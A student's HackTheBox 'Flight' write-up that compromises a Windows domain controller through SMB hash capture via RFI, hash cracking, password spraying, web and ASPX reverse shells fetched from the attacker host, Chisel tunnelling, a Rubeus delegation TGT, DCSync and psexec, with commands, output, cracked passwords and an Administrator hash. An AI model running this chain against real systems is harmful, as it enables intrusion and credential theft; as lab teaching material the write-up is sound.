Skip to main content
  1. posts/

HTB Flight

Author
1upbyte
Pablo Comino - Cybersecurity / Comp Sci. Student @ NC State
Table of Contents

Intro / Abstract
#

I enjoyed doing Flight! It was not too hard but definitely put a lot of concepts together. It starts off with an RFI vulnerabilty which has some mitigations in place, but not enough. Using a password hash obtained from the RFI, we login as a non-privileged user who has write access to a public SMB share. We take advantage of this by dropping a malicious .ini file that forces authentication to our Responder instance, netting us the hash of C.Bum. Using their hash, we upload a web shell to the PHP server and obtain code execution. We then find a firewalled service on port 8000, an IIS HTTP server. We are able to use an ASP web shell to gain execution as IISAPPPOOL, a virtual service account which can authenticate as the DC. Using the service account, we extract the TGT using Rubeus, exfiltrate it, convert it to a ccache format, and psexec for root!

Enumeration
#

As with any HTB machine, we start off with an nmap scan.

root@PixelVM:~/htb# nmap -sCV -p- -oN nmap.txt 10.10.11.187
Starting Nmap 7.93 ( https://nmap.org ) at 2025-04-09 00:22 EDT
Nmap scan report for 10.10.11.187
Host is up (0.031s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: g0 Aviation
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-09 11:24:28Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
49719/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-04-09T11:25:20
|_  start_date: N/A
|_clock-skew: 6h59m54s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 201.15 seconds

Judging from ports 53, 88, 445, etc. we can judge that this is a domain controller. LDAP on 389 reveals the hostname: flight.htb. We can add it to our hosts file.

Easy checks
#

When doing HTB machines, I always begin with the low-hanging fruit. SMB is a great place to start. We can easily check for any accessible file shares using netexec.

# Null authentication check
root@PixelVM:~/htb/flight# nxc smb flight.htb -u '' -p ''
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\: 
# Anonymous login check
root@PixelVM:~/htb/flight# nxc smb flight.htb -u 'pablo123' -p ''
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [-] flight.htb\pablo123: STATUS_LOGON_FAILURE 

We can see that null authencation works! Let’s list the shares:

root@PixelVM:~/htb/flight# nxc smb flight.htb -u '' -p '' --shares
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\: 
SMB         10.10.11.187    445    G0               [-] Error enumerating shares: STATUS_ACCESS_DENIED
Unfortunately, null auth would’ve been too good to be true. Let’s move on.

HTTP
#

Nmap revealed port 80 was open. Let’s check it out.

Homepage for Flight.HTB. A basic site for planning flight with various buttons.

Clicking around, none of the buttons seem to actually do anything. Opening up the developer tools using F12, we see no outgoing requests.

Since we cannot find anything of interest, let’s run a scan to see if there are any virtual hosts we can find.

A virtual host (or vhost) is similar to a subdomain, but is specified in the HOST HTTP header instead of being a real DNS entry. Thus, tools to enumearate vhosts simply alter it.
root@PixelVM:~/htb/flight# HOST=flight.htb; gobuster vhost -u http://$HOST -t 50 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt  -o scans/gobuster_vhost.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://flight.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: school.flight.htb Status: 200 [Size: 3996]

Gobuster found school.flight.htb. Let’s add it to our hosts file and navigate to it:

‘The landing page for a flight school. The URL field contains a query parameter called view that equals home.html.’
Clicking around, something should immediately stand out – the URL contains a parameter for view that points to home.html. The URL also tells us that this is a PHP server.

Because it seems like the PHP server is including files via the query string, we can try a path traversal attack by requesting a file we know exists and is publicly readable such as C:\Windows\System32\drivers\etc\hosts:

‘A webpage saying “Suspcious Activity Blocked. Incident will be reported.”’

It seems like the developers of this site saw us coming from a mile away and put in a prevention for path traversal attacks. The error we get does confirm that this would have been a potential vulnerability, though.

Following this train of thought, we can try a remote file inclusion (RFI) instead of a local one (what we just attempting doing). An RFI would avoid the “../” characters. Furthermore, because the target machine is on Windows, we can try including a remote file over SMB. This would cause whatever account is running the PHP server to leak its hash to us.

We can run a dummy SMB server with Responder:

root@PixelVM:~/htb/flight# Responder.py -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.5.0
[+] Servers:     
    SMB server                 [ON]  

Then, we can make a request with our RFI payload using curl. My machine’s IP is 10.10.14.14.

curl http://school.flight.htb/index.php?view=//10.10.14.14/share/file

Looking back at our Responder pane, we get a hash for svc_apache!

[SMB] NTLMv2-SSP Client   : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash     : svc_apache::flight:0946da73ae9cf8c7:3BCCDFA1CC5ED52EAD2DF11BEE04C78D:0101000000000000007554216AAADB012B2F1A0EA3CF09EA00000000020008004A004E004700410001001E00570049004E002D005400550030004E00380038004100510058004200350004003400570049004E002D005400550030004E0038003800410051005800420035002E004A004E00470041002E004C004F00430041004C00030014004A004E00470041002E004C004F00430041004C00050014004A004E00470041002E004C004F00430041004C0007000800007554216AAADB0106000400020000000800300030000000000000000000000000300000E85B97D5B587F5A0719FAA207218B3F1BD960FB69640E3364CB6D69561A43C950A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310034000000000000000000

We can save our hash to a file and, using Hashcat, run our acquired hash against rockyou.txt. I’m using the -O flag to speed up the cracking process.

root@PixelVM:~/htb/flight# hashcat svc_apache.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt -O

hashcat (v6.2.6) starting in autodetect mode
...
SVC_APACHE::flight:0946da73ae9cf8c7:3bccdfa1cc5ed52ead2df11bee04c78d:0101000000000000007554216aaadb012b2f1a0ea3cf09ea00000000020008004a004e004700410001001e00570049004e002d005400550030004e00380038004100510058004200350004003400570049004e002d005400550030004e0038003800410051005800420035002e004a004e00470041002e004c004f00430041004c00030014004a004e00470041002e004c004f00430041004c00050014004a004e00470041002e004c004f00430041004c0007000800007554216aaadb0106000400020000000800300030000000000000000000000000300000e85b97d5b587f5a0719faa207218b3f1bd960fb69640e3364cb6d69561a43c950a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310034000000000000000000:S@Ss!K@*t13

We get a hit, revealing svc_apache’s password. Sadly, our credential does not grant us any login access. However, we can now enumerate the domain with greater clarity.

The first order of business is enumerating users. I’ll use netexec once again, passing in the --users flag. I’ll use the awk command to get properly formatted list.

root@PixelVM:~/htb/flight# nxc smb flight.htb -u svc_apache -p 'S@Ss!K@*t13' --users | tee nxc_users.txt

# Format a nice list of users
root@PixelVM:~/htb/flight# cat nxc_users.txt | awk '{print $5}' | tee users.txt

# I've removed unnecessary users such as krbtgt and Guest
root@PixelVM:~/htb/flight# cat users.txt 
Administrator
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum

After enumerating users, my next step is almost always to run a Bloodhound scan of the network. We can do that here using rusthound-ce, but unfortunately that does not get us anywhere.

My next go-to is checking access to SMB shares. netexec can do that for us again with the --shares flag. Running the command, it appears we don’t have any special or privileged access to any shares.

Something to keep in mind is the account whose credentials we acquired is a service account, meaning it was likely configured by another user on the domain. Sometimes, people get lazy and reuse their own password for the service account. I’ve seen this time and time again. We can check this using kerbrute:

I’m using Kerbrute as it is faster and stealthier than traditional password spraying methods. Checkout the README in the Kerbrute GitHub for more info!
# Kerberos relies on timestamps to operate, so syncing our clock with the DC is needed.
root@PixelVM:~/htb/flight# ntpdate flight.htb
2025-04-11 06:08:10.52488 (-0400) +25201.490228 +/- 0.015672 flight.htb 10.10.11.187 s1 no-leap
CLOCK: time stepped by 25201.490228

root@PixelVM:~/htb/flight# kerbrute passwordspray users.txt 'S@Ss!K@*t13' -d flight.htb --dc flight.htb

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 04/11/25 - Ronnie Flathers @ropnop

2025/04/11 06:08:16 >  Using KDC(s):
2025/04/11 06:08:16 >   flight.htb:88

2025/04/11 06:08:21 >  [+] VALID LOGIN:  [email protected]:S@Ss!K@*t13
2025/04/11 06:08:21 >  [+] VALID LOGIN:  [email protected]:S@Ss!K@*t13
2025/04/11 06:08:21 >  Done! Tested 13 logins (2 successes) in 5.243 seconds

We can see that S.Moon is reusing svc_apache’s password. This is one of many reasons why we should never reuse passwords!

Now that we have new credentials, we can begin a new round of enumeration.

S.Moon
#

Marking S.Moon as owned in Bloodhound doesn’t seem to unlock any additional attack paths. Another easy thing to check is read/write access on SMB shares. Once again, netexec does the job:

root@PixelVM:~/htb/flight# nxc smb flight.htb -u s.moon -p 'S@Ss!K@*t13' --shares
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\s.moon:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0               [*] Enumerated shares
SMB         10.10.11.187    445    G0               Share           Permissions
SMB         10.10.11.187    445    G0               -----           -----------
SMB         10.10.11.187    445    G0               ADMIN$                     
SMB         10.10.11.187    445    G0               C$                         
SMB         10.10.11.187    445    G0               IPC$            READ       
SMB         10.10.11.187    445    G0               NETLOGON        READ        
SMB         10.10.11.187    445    G0               Shared          READ,WRITE
SMB         10.10.11.187    445    G0               SYSVOL          READ       
SMB         10.10.11.187    445    G0               Users           READ      
SMB         10.10.11.187    445    G0               Web             READ      

We can see that S.Moon has read and write access to the Shared share. Alarm bells should go off when access is gained to a public share. Someone else is likely viewing that share, we have a way to potentially steal hashes.

Certain filetypes such as .lnk or .ini files contain a field for an icon or similar resource. Usually, this icon is stored on the user’s local machine. However, the icon field can be set to point to an SMB server. On certain versions of Windows, if a user just looks at the file (without even clicking on it!), Windows will attempt to reach out the SMB server, authenticating if need be. We can take advatange of this “feature” to capture another user’s NTLMv2 hash, so long as we can drop a malicious .ini, .url, or any of the other hash theft files.

Zero-click authentication using these files is now patched in the latest versions of Windows! However, many machines, both in HackTheBox and the real world, are still outdated.
root@PixelVM:~/htb/flight# ntlm_theft.py --generate all --server 10.10.14.14 --filename 1upbyte
Created: 1upbyte/1upbyte.scf (BROWSE TO FOLDER)
Created: 1upbyte/1upbyte-(url).url (BROWSE TO FOLDER)
Created: 1upbyte/1upbyte-(icon).url (BROWSE TO FOLDER)
...
Created: 1upbyte/Autorun.inf (BROWSE TO FOLDER)
Created: 1upbyte/desktop.ini (BROWSE TO FOLDER)
Generation Complete.

We can now place these files inside the root of the Shared share that S.Moon has access to and spin up yet another Responder instance:

root@PixelVM:~/htb/flight# Responder.py -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.5.0
[+] Servers:     
    SMB server                 [ON]  
[SMB] NTLMv2-SSP Client   : 10.10.11.187                                                                                [SMB] NTLMv2-SSP Username : flight.htb\c.bum                                                                            [SMB] NTLMv2-SSP Hash     : c.bum::flight.htb:277f6757743726bb:7A536C76FC8D370D89AF8F1D2B4CCF9B:010100000000000080B2682593B5DB01373887AF537863480000000002000800330050004200530001001E00570049004E002D004F003700570046005900520050004800570038005A0004003400570049004E002D004F003700570046005900520050004800570038005A002E0033005000420053002E004C004F00430041004C000300140033005000420053002E004C004F00430041004C000500140033005000420053002E004C004F00430041004C000700080080B2682593B5DB01060004000200000008003000300000000000000000000000003000005D582AC3AFB8F6296B0B14233DD8F4327FE1E474C72039C593E97F83F1D6343F0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310034000000000000000000

Success! We’ve obtained C.Bum’s hash. Using the same process as earlier, we crack their hash using Hashcat and rockyou.txt

root@PixelVM:~/htb/flight# hashcat c.bum.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt -O

hashcat (v6.2.6) starting in autodetect mode
...
C.BUM::flight.htb:f4c89733ac6b2f03:ba211dd2476e7de95c9b2578928ddb74:010100000000000080b2682593b5db0103dd25b0903b508b0000000002000800330050004200530001001e00570049004e002d004f003700570046005900520050004800570038005a0004003400570049004e002d004f003700570046005900520050004800570038005a002e0033005000420053002e004c004f00430041004c000300140033005000420053002e004c004f00430041004c000500140033005000420053002e004c004f00430041004c000700080080b2682593b5db01060004000200000008003000300000000000000000000000003000005d582ac3afb8f6296b0b14233dd8f4327fe1e474c72039c593e97f83f1d6343f0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310034000000000000000000:Tikkycoll_431012284

C.Bum
#

Now with C.Bum’s password, we still don’t have any direct way to access the server. WinRM on port 5985 is not listening. So, we go back to the basics and start with the easy checks, the first one of course being SMB:

root@PixelVM:~/htb/flight# nxc smb flight.htb -u c.bum -p 'Tikkycoll_431012284' --shares
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\c.bum:Tikkycoll_431012284
SMB         10.10.11.187    445    G0               [*] Enumerated shares
SMB         10.10.11.187    445    G0               Share           Permissions
SMB         10.10.11.187    445    G0               -----           -----------
SMB         10.10.11.187    445    G0               ADMIN$                     
SMB         10.10.11.187    445    G0               C$                         
SMB         10.10.11.187    445    G0               IPC$            READ       
SMB         10.10.11.187    445    G0               NETLOGON        READ        
SMB         10.10.11.187    445    G0               Shared          READ,WRITE
SMB         10.10.11.187    445    G0               SYSVOL          READ       
SMB         10.10.11.187    445    G0               Users           READ      
SMB         10.10.11.187    445    G0               Web             READ,WRITE      

Aha! We now have write access to the Web share. Our earlier enumeration informed us that the school.flight.htb is using PHP, which means we can likely drop a reverse shell into the web root and execute it as svc_apache. The downside of this approach is svc_apache has less permissions that C.Bum or S.Moon, but low-privilege code execution is better than no code execution at all.

There are a million different php webshells, but I used PHP cmd from revshells.com. Once on the website, I like running a simple whoami to ensure the shell is working.

Screenshot of a webshell with the command &ldquo;whoami&rdquo; being entered. The output is flight\svc_apache.

With working code execution, we can now insert a reverse shell payload and stand up a listener on our attacker machine. I like using rlwrap -cAr in front of my Netcat listener as it lets the arrows work properly and just makes using our shell easier.

root@PixelVM:~/htb/flight/1upbyte# rlwrap -cAr nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.187] 49843
whoami
flight\svc_apache
PS C:\xampp\htdocs\school.flight.htb>

Privilege escalation
#

Now that we have a shell, we can start enumerating again! As someone who can be exceptionally lazy, I tend to look and go for the low-hanging fruit first. winPEAS is a wonderful script by carlospolop that checks for easy vulnerabilities such as exposed password files, improperly configured services, and more. Running the program, we notice the following output:

Current TCP Listening Ports                                                                                                                        
Check for services restricted from the outside                                                                                                                
Enumerating IPv4 connections                       
Protocol   Local Address         Local Port    Remote Address        Remote Port     State             Process ID      Process Name

TCP        0.0.0.0               80            0.0.0.0               0               Listening         5124            C:\Xampp\apache\bin\httpd.exe
TCP        0.0.0.0               88            0.0.0.0               0               Listening         644             lsass
...
TCP        0.0.0.0               8000          0.0.0.0               0               Listening         4               System
TCP        0.0.0.0               9389          0.0.0.0               0               Listening         2692            Microsoft.ActiveDirectory.WebServices

Port 8000 didn’t show up on our original Nmap scan! Since the service is listening on 0.0.0.0 (all interfaces), it means there is likely a firewall at play. No need to worry, for proxying tools such as Chisel come into play. Chisel allows one from and to two different machines. In our scenario, we will have the Chisel server on our attacker machine listening on port 9002. Then, on the Windows machine, we will run the Chisel client, telling it to connect to our server on port 9002. As it does that, we will also pass in an argument that takes the client’s port 8000 and forwards it to the server’s port 8000. This way, going to http://attackerip:8000 will tunnel us through to the client’s port 8000.

If that was confusing, hopefully actually running the commands will clear things up:

# On our attacker box
root@PixelVM:/opt/www# chisel server --reverse --socks5 -p 9002

# On the Windows machine
# We forward our localhost (R) to our server's localhost on port 8000 
PS C:\ProgramData\1upbyte> .\chisel client 10.10.14.14:9002 R:127.0.0.1:8000

If everything went to plan, we should now be able to access flight.htb’s port 8000 via our machine’s port 8000:

root@PixelVM:~/htb/flight# nc localhost 8000                                    
testcmd                                       
HTTP/1.1 400 Bad Request                
Content-Type: text/html; charset=us-ascii    

Hooray! Netcat tells us this is an HTTP server, so we can visit the address using our preferred browser:

Homepage for a basic site for planning flight with various buttons and a generic image of people in plane.

Clicking around the page, not much happens. All of the buttons and links do nothing. Going to the 404 page is a different story however:

404 Page with light debug information, notably the physical path of where the page is stored (C:\inetpub\development)

Tons of juicy information is leaked, notably the path on the system where this page is stored! This website is also likely using IIS. We can dervie this from both the path (C:\inetpub is commonly used for IIS) and also by the way the error page looks. We may have code execution if we can put a .aspx file and run it. Let’s head over there in our shell and see what we can do:

PS C:\inetpub\development> cmd /c dir
Directory of C:\inetpub\development

04/25/2025  08:42 AM    <DIR>          .
04/25/2025  08:42 AM    <DIR>          ..
04/16/2018  02:23 PM             9,371 contact.html
04/25/2025  08:42 AM    <DIR>          css
04/25/2025  08:42 AM    <DIR>          fonts
04/25/2025  08:42 AM    <DIR>          img
04/16/2018  02:23 PM            45,949 index.html
04/25/2025  08:42 AM    <DIR>          js   

Sure enough we see the files for the page. Unfortunately, svc_apache doesn’t have enough permissions to write to this folder. Someone who might though is C.Bum. They were able to write to the Web share earlier, and remembering their group memberships from earlier in Bloodhound will tell us that C.Bum is also part of the WebDevs group.

Now normally, we would have no way of executing commands C.Bum. The only reason why we can as svc_apache is due to a reverse shell. Fortunately for us, a stellar utility named RunasCs exists. It is an alternative to Window’s built-in runas.exe, but with some extra features. Notably, the -r flag allows us to redirect stdin and stdout to our endpoint, i.e. a Netcat listener. As such, we can simply run powershell as C.Bum and send the input and output to ourselves, essentially netting us a reverse shell as C.Bum.

PS C:\ProgramData\1upbyte> .\RunasCs c.bum Tikkycoll_431012284 powershell -r 10.10.14.14:9001
[*] Warning: The logon for user 'c.bum' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-5c831$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 1224 created in background.

On our listener:

root@PixelVM:/opt/www# rlwrap -cAr nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.187] 50013
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
flight\c.bum

We can now try dropping yet another reverse shell into the hidden webserver we found earlier. I used a shell made by qtc-de. Be sure to replace the IP and port inside!

If following along, make sure to use curl.exe and not just curl! curl (without the .exe) in PowerShell is an alias of Invoke-WebRequest.
PS C:\inetpub\development> curl.exe -O 10.10.14.14/aspx-reverse-shell.aspx
curl.exe -O 10.10.14.14/aspx-reverse-shell.aspx
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5103  100  5103    0     0  80491      0 --:--:-- --:--:-- --:--:-- 82306

We can now stand up a listener and hit the endpoint using Chisel + web browser combo from earlier:

root@PixelVM:~/htb/flight# rlwrap -cAr nc -lnvp 9002
listening on [any] 9002 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.187] 50130
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
iis apppool\defaultapppool

Very interesting account! These iis apppool accounts are a type of service account called a Virtual Account. According to Microsoft’s website:

Virtual accounts: A managed local account that provides a simplified approach to service administration without the need for manual password management. They can access network resources using the computer account’s credentials , making them suitable for services that require domain access. Virtual accounts are automatically managed and require minimal configuration.

Since this account can talk to the domain and uses the domain controller’s machine account to do so, getting this account’s Kerberos Ticket (TGT) will allow us to perform a DCSync. Rubeus lets us acquire the TGT easily:

C:\ProgramData\1upbyte>.\Rubeus tgtdeleg /nowrap 
   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0 


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/g0.flight.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: udJNsP1g6Jzot9loB9T1XxryPYJMIfJtkWy0BCrjRKE=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCB
...
DAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC

We can now copy and paste it over to our host and convert it to a .ccache file. Right now, the ticket is in base64, so we must first decode it. Then, we can use Impacket’s ticketConvert.py to convert it over to a .ccache file that Linux can use:

root@PixelVM:~/htb/flight# cat ticket.kirbi.b64 | base64 -d > ticket.kirbi
root@PixelVM:~/htb/flight# ticketConverter.py ticket.kirbi ticket.ccache
Impacket v0.13.0.dev0+20250404.133223.00ced47 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[+] done

Now we can pass the ticket using Impacket’s secretsdump.py to perform a DCSync attack and get the Administrator’s hash:

Since we’re dealing with Kerberos, it’s important that our attacker machine’s time is the same as the domain controllers. I used ntpdate to synchronize them.
root@PixelVM:~/htb/flight# ntpdate flight.htb
2025-04-25 12:44:19.326152 (-0400) +25199.384184 +/- 0.015119 flight.htb 10.10.11.187 s1 no-leap
CLOCK: time stepped by 25199.384184
root@PixelVM:~/htb/flight# secretsdump.py -k g0.flight.htb -just-dc-user Administrator
Impacket v0.13.0.dev0+20250404.133223.00ced47 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:08c3eb806e4a83cdc660a54970bf3f3043256638aea2b62c317feffb75d89322
Administrator:aes128-cts-hmac-sha1-96:735ebdcaa24aad6bf0dc154fcdcb9465
Administrator:des-cbc-md5:c7754cb5498c2a2f
[*] Cleaning up... 

With the Administrator’s NTLM hash now in our hands, we can use Impacket’s psexec.py to gain a maxmimum privilege shell!

root@PixelVM:~/htb/flight# psexec.py -hashes :43bbfc530bab76141b12c8446e30c17c [email protected]
Impacket v0.13.0.dev0+20250404.133223.00ced47 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on flight.htb.....
[*] Found writable share ADMIN$
[*] Uploading file jViPAoJd.exe
[*] Opening SVCManager on flight.htb.....
[*] Creating service ZHvo on flight.htb.....
[*] Starting service ZHvo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Conclusion
#

While this machine was labeled as Hard, I didn’t find any of the indiviual steps particularly challenging. What gives this box its challenge to me is the combination of different techniques to eke out a privilege escalation path. I got to learn a lot about how machine accounts work and prior to this machine I had no idea that four different classes of service accounts existed. It amazes me just how much there is to learn about Active Directory and Microsoft systems in general.

This write-up is my first one ever! Please feel free to contact me with any suggestions or opinions you may have. Thank you for reading until the end. Happy hacking!